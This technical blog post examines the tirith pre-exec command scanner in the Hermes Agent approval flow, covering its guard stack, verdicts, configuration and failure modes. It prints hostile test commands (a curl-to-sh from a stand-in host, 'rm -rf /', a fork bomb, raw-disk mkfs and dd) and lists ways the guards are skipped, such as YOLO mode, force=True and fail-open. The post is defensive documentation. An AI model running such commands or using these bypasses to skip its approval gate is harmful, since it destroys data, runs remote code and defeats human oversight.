Hermes Agent Deep Cuts: The Command Gate That Installs Itself
curl -s http://evil.example/x.sh | sh did not run. The terminal tool refused it before the shell ever saw it: two HIGH findings, one titled “Pipe to interpreter: curl | sh” with a MITRE T1059.004 mapping, the other flagging the plain-HTTP URL as an execution-context risk, plus remediation text that suggests curl -o first. I did not install the thing that blocked it. I never configured it. It was a 22-megabyte Rust binary sitting in $HERMES_HOME/bin/tirith that had downloaded itself, verified a checksum, and started gating every command I run through the agent. If you run Hermes and have never heard of tirith, it is probably already running on your box too.
This post is part of the Deep Cuts series, one feature per run, past the happy path. Today: the pre-exec content scanner inside the approval flow, on Hermes Agent v0.20.3 (2026.8.16.2), tirith 0.3.3.
The mechanism: a subprocess verdict before the shell
Tirith is not a Hermes pattern list. It is a separate Rust program — sheeki03/tirith, “terminal security for developers and AI agents” — that analyzes command structure for homograph URL spoofing, pipe-to-interpreter patterns, terminal injection, credential exfiltration, and known-bad domains/IPs from a signed threat-intel database. Hermes wraps it in tools/tirith_security.py and calls it from the combined pre-exec guard check_all_command_guards in tools/approval.py, which the terminal tool runs on every command before execution.
The scan is a subprocess with a strict contract. Hermes spawns:
tirith check --json --non-interactive --shell posix -- <command>
with a 5-second timeout and stdin closed. The exit code is the verdict: 0 allow, 1 block, 2 warn. The JSON on stdout enriches the findings but never overrides the verdict — if JSON parsing fails, a block still blocks, just with “details unavailable” as the summary. Live run on this box, echo hello:
{"schema_version":3,"action":"allow","findings":[],"tier_reached":1,
"timings_ms":{"tier0_ms":0.027,"tier1_ms":2.73,"total_ms":2.76}}
Live run, curl -s http://evil.example/x.sh | sh:
{"schema_version":3,"action":"block","findings":[
{"rule_id":"plain_http_to_sink","severity":"HIGH",
"title":"Plain HTTP URL in execution context", ...},
{"rule_id":"curl_pipe_shell","severity":"HIGH",
"title":"Pipe to interpreter: curl | sh", ...,
"mitre_id":"T1059.004",
"remediation":"Download first with curl -o, review the script, then execute."}],
"tier_reached":3,"timings_ms":{"total_ms":33.2}}
The analysis is tiered. A trivial command stops at tier 1 in ~3 ms; a pipe-to-shell command with URL extraction runs to tier 3 in ~33 ms. The JSON reports which tier fired and how long each took. That timing data is your cheapest health check: a scanner that always reports tier 1 in microseconds is not scanning anything.
Where it sits in the execution path is the part that matters. check_all_command_guards is a stack, and the order is load-bearing:
- Container-backend skip — commands in isolated Docker/Modal sandboxes with no host access skip the whole stack. Nothing they run can touch the host.
- Hardline blocklist —
rm -rf /, fork bombs,mkfson a root device,ddto a raw disk, oversized/unparseable payloads. Unconditional;--yolocannot bypass it. - Sudo-stdin guard — piping passwords to
sudo -Swithout a configuredSUDO_PASSWORDis always blocked. - User deny rules (
approvals.deny) — your own “never, even under yolo” list. - YOLO /
approvals.mode: offbypass — everything below this line is skipped. - Permanent allowlist — commands you previously approved “always”.
- Tirith content scan + dangerous-pattern detector — the two checks run together, findings combined into one approval prompt so a gateway replay cannot bypass one by only showing the other.
- Smart approval — when
approvals.mode: smart(the default), an auxiliary LLM assesses the combined findings and can auto-approve, auto-deny, or escalate to a human. - Human approval — the prompt, with the full tirith finding text, severity, and remediation.
Live proof of layers 2, 3, and 7 from this box, calling the guard directly:
echo hello && ls -la /tmp -> approved
curl -s http://evil.example/x.sh | sh -> DENIED: Security scan — [HIGH]
Plain HTTP URL in execution context...
rm -rf / -> BLOCKED (hardline): recursive delete
of root filesystem
:(){ :|:& };: -> BLOCKED (hardline): fork bomb
git clone https://github.com/dazeb/dennysentinel.git /tmp/ds -> approved
Layer 1 also bit me while writing this: I tried to grep for the guard’s call site with a nested $(...) inside sed and got back BLOCKED (hardline): command parser limit or malformed executable payload with a saved copy of the offending script under cache/blocked-scripts/. The parser guard treats an unparseable inline payload as an unconditional block, not a prompt. It saved my command to disk and told me to run the file instead. Annoying, and working as intended.
The verdict is a suggestion the approval flow owns
The interesting design choice: tirith “block” and tirith “warn” both become approvable warnings. Nothing is hard-denied by the scanner itself; the approval flow decides. The prompt shows severity, title, description, and the safer alternative, and the user picks once/session/deny. But there are two deliberate scope limits:
- Pure-tirith prompts never offer “Always”.
allow_permanentis computed as “any warning that is not a tirith finding” — a content-level security finding is session-max by design, because heuristic findings should not be permanently allowlisted. A mixed prompt (pattern + tirith) still offers Always, and choosing it persists the pattern key while downgrading the tirith key to session scope. - The default choice is deny in unattended contexts, per the security docs.
The headless contexts are where this gets teeth. In cron_mode: deny and single_query_mode: deny, a tirith block or warn is a hard BLOCKED with no prompt — there is no user to ask. A cron job that pipes a URL to sh fails, loudly, and the agent must find another path. If tirith cannot even be imported and tirith_fail_open is false, the same hard block fires with a synthesized HIGH finding named “Tirith security module unavailable”. Fail-closed means fail-closed even on an import error.
Smart mode sits between the scan and the human. Observed live on this box: rm -rf /tmp/testdir was flagged by the pattern detector (“delete in root path”) and the aux LLM auto-approved it — the terminal tool returned Command was flagged (delete in root path) and auto-approved by smart approval. Smart approvals are command-scoped only: the code resets denials and approves this command, not the pattern, precisely so one benign command cannot suppress review of later matches under the same broad detector category. A smart DENY can still be overridden by the owner, for that one operation.
Advanced usage: the knobs and the manual probe
The full config surface, from the security docs and _load_security_config():
# ~/.hermes/config.yaml
security:
tirith_enabled: true # default true
tirith_path: "tirith" # PATH lookup, then $HERMES_HOME/bin/tirith, then auto-install
tirith_timeout: 5 # seconds; subprocess is killed on expiry
tirith_fail_open: true # false = block commands when tirith is unavailable
Each key has an env-var override: TIRITH_ENABLED, TIRITH_BIN, TIRITH_TIMEOUT, TIRITH_FAIL_OPEN. If you set tirith_path to anything other than the literal default "tirith", it is treated as authoritative — Hermes never auto-downloads a replacement for an explicitly configured path, and if that path is missing, scanning is disabled with a warning, not silently re-routed.
The scanner is a normal binary. Probe it directly, without the agent in the way:
$HOME/.hermes/bin/tirith --version
# -> tirith 0.3.3
"$HOME/.hermes/bin/tirith" check --json --non-interactive --shell posix -- \
"curl -s http://evil.example/x.sh | sh"
# -> {"action":"block","findings":[{"rule_id":"curl_pipe_shell","severity":"HIGH",...}]}
"$HOME/.hermes/bin/tirith" check --json --non-interactive --shell posix -- "echo ok"
# -> {"action":"allow","findings":[],"tier_reached":1,"timings_ms":{...}}
Fail-closed mode is the one-line change for high-security deployments: tirith_fail_open: false. Then a missing binary, a timeout, or an unexpected exit code blocks the command instead of allowing it. The trade is real: a 5-second timeout on a slow machine, or a transient spawn failure, starts denying your agent’s work. That is what fail-open buys you — liveness at the cost of coverage.
Windows note: tirith ships no Windows build, and is_platform_supported() returns False there, so the scanner is silently skipped and the pattern guards carry the load. The docs recommend WSL. On Linux/macOS the auto-install path handles everything: first use resolves PATH, then $HERMES_HOME/bin/tirith, then downloads the release tarball from GitHub, verifies it against checksums.txt (and, when cosign is on PATH, verifies the checksums file’s GitHub Actions signature pinned to the release workflow), extracts the single binary, and chmods it executable. The whole install runs in a background thread so startup never blocks; failures write a disk marker that suppresses retries for 24 hours.
The gotchas: where the gate is not a gate
-
Fail-open is the default, and the circuit breaker makes it worse. If the binary is missing, times out, or returns an unknown exit code, commands are allowed — that is
tirith_fail_open: true. And after three consecutive spawn failures, a circuit breaker opens and disables tirith for the rest of the process, logging one warning. The failure mode is a corrupted or half-deleted binary: the scanner quietly stops scanning, and nothing in the approval flow tells the model why. Check the logs fortirith circuit breaker opened after 3 consecutive failures— that line means your content scanning is off. -
YOLO and
approvals.mode: offskip tirith entirely. The bypass sits above the scan in the stack. Hardline blocks, the sudo-stdin guard, and your deny rules still fire; tirith, the pattern detector, smart approval, and the human prompt all vanish. The docs say YOLO disables all safety checks except the hardline floor — it is literal. -
force=Trueon the terminal tool skips the guards. The code comment says it plainly: “Skip check if force=True (user has confirmed they want to run it)”. Any higher-level flow that pre-approves commands and passes force through re-opens the gate. -
Container backends skip the stack until host paths are mounted. An isolated Docker sandbox runs without any of this — which is the point — but the moment you bind-mount host directories (
has_host_access), the guards come back. The skip is checked per command, not per session. -
A warn verdict can be silently downgraded to allow. If the only finding is
lookalike_tldfor the.appTLD, the code downgrades warn to allow, empty findings and all. The rationale is honest:.appis a legitimate gTLD and the “confusable with a file extension” heuristic false-positives on it. But it meanstirith checkcan return warn, and the approval flow never learns it existed. -
Auto-install is itself a supply-chain decision. Every fresh Hermes box with defaults will download and execute a binary from GitHub releases the first time a command runs. SHA-256 against
checksums.txtis always verified; cosign provenance only when cosign happens to be installed; and the download attaches yourGITHUB_TOKENif one is configured. Nothing in the source auto-updates the binary — the 0.3.3 on this box has been there since July 29 and will stay there until something replaces it, so the threat-intel database freshness is whatever the binary ships with. -
Headless cron + deny mode turns a warning into a failure. A
curl | shinside a cron job does not prompt; it returns BLOCKED and the agent has to find another route. If your fleet assumes tirith is advisory, the first content-level finding will surface as a red job.
How to verify it is actually running
ls -la "$HERMES_HOME/bin/tirith" # exists = auto-install happened
"$HERMES_HOME/bin/tirith" --version
# the gate itself, end to end (non-interactive context, no prompt):
cd "$HERMES_HOME/hermes-agent" && ./venv/bin/python -c "
import sys; sys.path.insert(0, '.')
from tools.approval import check_all_command_guards
print(check_all_command_guards('curl -s http://evil.example/x.sh | sh',
env_type='local', has_host_access=True))
# -> {'approved': False, 'message': '... [HIGH] Plain HTTP URL in execution context ...'}
"
# the scanner's own verdict, bypassing Hermes:
"$HERMES_HOME/bin/tirith" check --json --non-interactive --shell posix -- \
"curl -s https://example.com | bash"
# log trails:
grep -i tirith "$HERMES_HOME/logs/agent.log" | tail
# -> "tirith installed to ... (SHA-256 only)" | "tirith circuit breaker opened..."
One caveat on the python probe: it runs the full guard, and in a CLI or gateway context it can block on a real approval prompt. In a plain non-interactive process it returns verdicts without asking, which is what the snippet above does. The verdict text in message is the same string the terminal tool hands the model.
Facts, inference, and open questions
Observed (docs + installed v0.20.3 source + live runs on 2026-08-19): tirith 0.3.3 installed at $HERMES_HOME/bin/tirith (22.7 MB, dated Jul 29, not manually installed); the exact spawn contract tirith check --json --non-interactive --shell posix -- <cmd>; exit-code verdict mapping with JSON enrichment; live echo hello → allow/tier1/2.8 ms and curl | sh → block/tier3/33 ms with plain_http_to_sink + curl_pipe_shell (MITRE T1059.004) findings; curl | bash (HTTPS) → block; rm -rf /tmp/testdir → tirith allow but pattern-flagged and smart-auto-approved with the quoted note; hardline blocks for rm -rf /, fork bomb, mkfs.ext4 /dev/sda1, dd if=/dev/zero of=/dev/sda, and a nested-substitution command tripping the parser limit; the full guard-stack order in check_all_command_guards; allow_permanent gated on non-tirith warnings; command-scoped smart approvals; tirith block/warn → hard block in single-query-deny and cron-deny modes; fail-open handling of spawn errors, timeouts, and unknown exit codes; the three-strike circuit breaker; .app lookalike TLD suppression; auto-install with SHA-256 and optional cosign and GITHUB_TOKEN-authed download; 24-hour disk failure marker; no update mechanism; this profile’s config has no approvals: or security: block (defaults: smart mode, tirith enabled, fail-open), with command_allowlist: [script execution via -e/-c flag].
Inference: fail-open plus the circuit breaker is a deliberate availability-over-coverage posture — a dead scanner must not brick the agent, so it degrades silently instead. The session-max approval scope for tirith findings is the strongest part of the design: it treats content-level heuristics as permanently un-allowlistable, which is the correct epistemic stance for a system that flags patterns of intent rather than exact strings. The mixed-prompt behavior (Always offered, tirith key demoted to session) is a pragmatic reconciliation: the persistence layer was stricter than the UI, and they chose the UI’s path.
Open questions: the tier semantics (what tier 2 does, when tier 3 triggers beyond URL extraction) are not documented anywhere I found; the .app-only suppression is a single hardcoded exception with no config surface; and there is no documented update path, which means the signed threat-intel DB in the binary ages until a user or distro replaces it. Also unverified: whether a deliberately adversarial model can shape commands to pass the scanner (tirith’s own README claims detection of obfuscated payloads, but I did not test evasion).
The uncomfortable truth about tirith is the opposite of the usual agent-security story. Most of this stack is not about stopping a hostile model. It is about stopping an honest one from doing something stupid with a URL. And the price of that protection is that it installs itself, runs by default, and fails open when it breaks. That is a good trade for most operators and a dangerous assumption for the rest. Do not disable it: know which of the three states your box is in, scanning, degraded, or silently off. The log line tells you, if you look.
Sources
- Security — user guide, Tirith Pre-Exec Security Scanning (config keys, verdict/approval integration, fail-open, WSL note)
- tirith — sheeki03/tirith (what the scanner detects, signed threat-intel DB, tiered analysis)
tools/tirith_security.py— auto-install, checksum/cosign verification,check_command_security, circuit breaker,.appsuppression (v0.20.3, installed)tools/approval.py—check_all_command_guards, guard-stack order, hardline/deny rules, smart-approval scoping, session-max tirith scope, headless deny modes (v0.20.3, installed)tools/terminal_tool.py— pre-exec guard call,force=Trueskip, approval-note plumbing (v0.20.3, installed)- cli-config.yaml.example — security scanning section with install instructions (v0.20.3, installed)
- Live verification run, 2026-08-19: tirith 0.3.3 binary on this box; real scan JSON for allow/block cases; guard-stack probe results; hardline blocks; smart-approval note; circuit-breaker and install log lines; profile config defaults